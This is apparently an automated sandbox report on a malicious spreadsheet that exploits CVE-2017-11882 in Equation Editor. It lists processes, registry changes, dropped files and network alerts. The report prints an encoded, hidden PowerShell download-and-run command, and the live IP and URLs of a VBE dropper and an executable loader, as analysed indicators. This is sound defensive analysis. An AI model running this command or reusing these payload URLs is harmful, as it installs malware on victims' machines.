File name:

SHEET -GT#18501109.xlsx

Full analysis: https://app.any.run/tasks/69e7a66c-c2aa-4d79-a1e0-3867f145bc09
Verdict: Malicious activity
Threats:

A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection.

Analysis date: December 18, 2018, 09:26:50
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
encrypted
exploit
cve-2017-11882
opendir
loader
Indicators:
MIME: application/encrypted
File info: CDFV2 Encrypted
MD5:

2BD85C6CD538F57EEC73D00C91D03270

SHA1:

7E71E81C0B94A422F029F7E722E63EB5E20CCA6E

SHA256:

7FA992F2402797689CDC81B85A4CCC9D7EF8FDAAA0AC7877B4AAF950005BC061

SSDEEP:

1536:e45WIhYycCVDzzixLEFj76MkIkPu2i8/0nvLmthSInf:e4MIhYKlzzixLK6jY8/EmthHf

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3900)
    • Suspicious connection from the Equation Editor

      • EQNEDT32.EXE (PID: 3900)
    • Executes PowerShell scripts

      • cmd.exe (PID: 3336)
    • Application was dropped or rewritten from another process

      • svchost.exe (PID: 3632)
    • Downloads executable files from IP

      • powershell.exe (PID: 2180)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 2180)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • WScript.exe (PID: 3448)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2180)
    • Creates executable files which already exist in Windows

      • powershell.exe (PID: 2180)
    • Creates files in the user directory

      • powershell.exe (PID: 2180)
    • Executes scripts

      • EQNEDT32.EXE (PID: 3900)
  • INFO

    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 2976)
      • WINWORD.EXE (PID: 2864)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 2976)
      • WINWORD.EXE (PID: 2864)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
7
Malicious processes
3
Suspicious processes
1

Behavior graph

Click at the process to see the details
start drop and start excel.exe no specs eqnedt32.exe wscript.exe no specs cmd.exe no specs powershell.exe svchost.exe no specs winword.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
2180POwErSHeLl.EXe -Ex BYPAsS -NOP -w HiDdeN -Ec IAAJAAkAUwBlAHQALQBjAE8ATgB0AGUAbgBUAAkACQAJAC0AdgBBAAkACQAJACgAIAAgAAkAJgAoACcATgBlAHcALQBPAEIAagAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBlACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAEMAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgAG4AZQB0AC4AdwBFAEIAQwBMAEkARQBuAFQAIAAJACAAKQAuAGQAbwB3AE4ATABPAGEARABEAGEAVABBACgAIAAgACAAHSBoAHQAdABwADoALwAvADIAMwAuADIANAA5AC4AMQA2ADEALgAxADAAMAAvAGYAcgBhAG4AawBtAC8AYQB6AGUAZQB6AC4AZQB4AGUAHSAgAAkACQApAAkAIAAJAC0ARQBOACAAIAAgAGIAWQB0AEUAIAAJAAkALQBQAEEAdABIAAkACQAJAB0gJABFAG4AdgA6AGEAcABQAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSAJACAAIAA7AAkAIAAJAHMAdABhAHIAdAAJAAkAIAAdICQARQBOAFYAOgBBAFAAcABkAGEAdABhAFwAcwB2AGMAaABvAHMAdAAuAGUAeABlAB0g "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
2864"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\saidjava.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\winword.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\comctl32.dll
2976"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\program files\microsoft office\office14\excel.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
3336"C:\Windows\system32\cmd.exe" "/C POwErSHeLl.EXe -Ex BYPAsS -NOP -w HiDdeN -Ec IAAJAAkAUwBlAHQALQBjAE8ATgB0AGUAbgBUAAkACQAJAC0AdgBBAAkACQAJACgAIAAgAAkAJgAoACcATgBlAHcALQBPAEIAagAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAKwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJwBlACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAArACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAnAEMAdAAnACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAApACAAIAAgAG4AZQB0AC4AdwBFAEIAQwBMAEkARQBuAFQAIAAJACAAKQAuAGQAbwB3AE4ATABPAGEARABEAGEAVABBACgAIAAgACAAHSBoAHQAdABwADoALwAvADIAMwAuADIANAA5AC4AMQA2ADEALgAxADAAMAAvAGYAcgBhAG4AawBtAC8AYQB6AGUAZQB6AC4AZQB4AGUAHSAgAAkACQApAAkAIAAJAC0ARQBOACAAIAAgAGIAWQB0AEUAIAAJAAkALQBQAEEAdABIAAkACQAJAB0gJABFAG4AdgA6AGEAcABQAGQAYQB0AEEAXABzAHYAYwBoAG8AcwB0AC4AZQB4AGUAHSAJACAAIAA7AAkAIAAJAHMAdABhAHIAdAAJAAkAIAAdICQARQBOAFYAOgBBAFAAcABkAGEAdABhAFwAcwB2AGMAaABvAHMAdAAuAGUAeABlAB0g "C:\Windows\system32\cmd.exeWScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
3448"C:\Windows\System32\WScript.exe" "C:\Users\Public\azeeze.vbe" C:\Windows\System32\WScript.exeEQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
3632"C:\Users\admin\AppData\Roaming\svchost.exe" C:\Users\admin\AppData\Roaming\svchost.exepowershell.exe
User:
admin
Company:
GALIPINE6
Integrity Level:
MEDIUM
Description:
UNIONIZED
Exit code:
0
Version:
3.01.0009
Modules
Images
c:\users\admin\appdata\roaming\svchost.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvbvm60.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
3900"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
Modules
Images
c:\program files\common files\microsoft shared\equation\eqnedt32.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
1 345
Read events
1 199
Write events
133
Delete events
13

Modification events

(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:2.0
Value:
322E3000A00B0000010000000000000000000000
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel
Operation:writeName:MTTT
Value:
A00B0000107ADCD7B396D40100000000
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete valueName:2.0
Value:
322E3000A00B0000010000000000000000000000
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:delete keyName:
Value:
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency
Operation:delete keyName:
Value:
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(2976) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\DocumentRecovery\24709E
Operation:writeName:24709E
Value:
04000000A00B00002E00000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C005300480045004500540020002D00470054002300310038003500300031003100300039002E0078006C0073007800000000001700000043003A005C00550073006500720073005C00610064006D0069006E005C004400650073006B0074006F0070005C000100000000000000E0481ED9B396D4019E7024009E70240000000000AC020000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
1
Suspicious files
2
Text files
2
Unknown types
6

Dropped files

PID
Process
Filename
Type
2976EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR6A92.tmp.cvr
MD5:
SHA256:
2180powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\V9M3Z9LZR78KAL01PX1P.temp
MD5:
SHA256:
2976EXCEL.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FF0D5D52.jpeg
MD5:
SHA256:
2976EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFAB6FE768BD858CBE.TMP
MD5:
SHA256:
2976EXCEL.EXEC:\Users\admin\Desktop\~$SHEET -GT#18501109.xlsx
MD5:
SHA256:
2864WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRF5E6.tmp.cvr
MD5:
SHA256:
2976EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\SHEET -GT#18501109.xlsx.LNKlnk
MD5:
SHA256:
3900EQNEDT32.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\R9ZEWH8D\azeeze[1].vbevbe
MD5:
SHA256:
2976EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:
SHA256:
2180powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
2
DNS requests
0
Threats
5

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3900
EQNEDT32.EXE
GET
200
23.249.161.100:80
http://23.249.161.100/frankm/azeeze.vbe
US
vbe
2.00 Kb
malicious
2180
powershell.exe
GET
200
23.249.161.100:80
http://23.249.161.100/frankm/azeez.exe
US
executable
617 Kb
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3900
EQNEDT32.EXE
23.249.161.100:80
ColoCrossing
US
malicious
2180
powershell.exe
23.249.161.100:80
ColoCrossing
US
malicious

DNS requests

No data

Threats

PID
Process
Class
Message
3900
EQNEDT32.EXE
A Network Trojan was detected
ET INFO Microsoft Script Encoder Encoded File
2180
powershell.exe
A Network Trojan was detected
ET INFO Executable Download from dotted-quad Host
2180
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
2180
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
2180
powershell.exe
Potentially Bad Traffic
ET INFO SUSPICIOUS Dotted Quad Host MZ Response
No debug info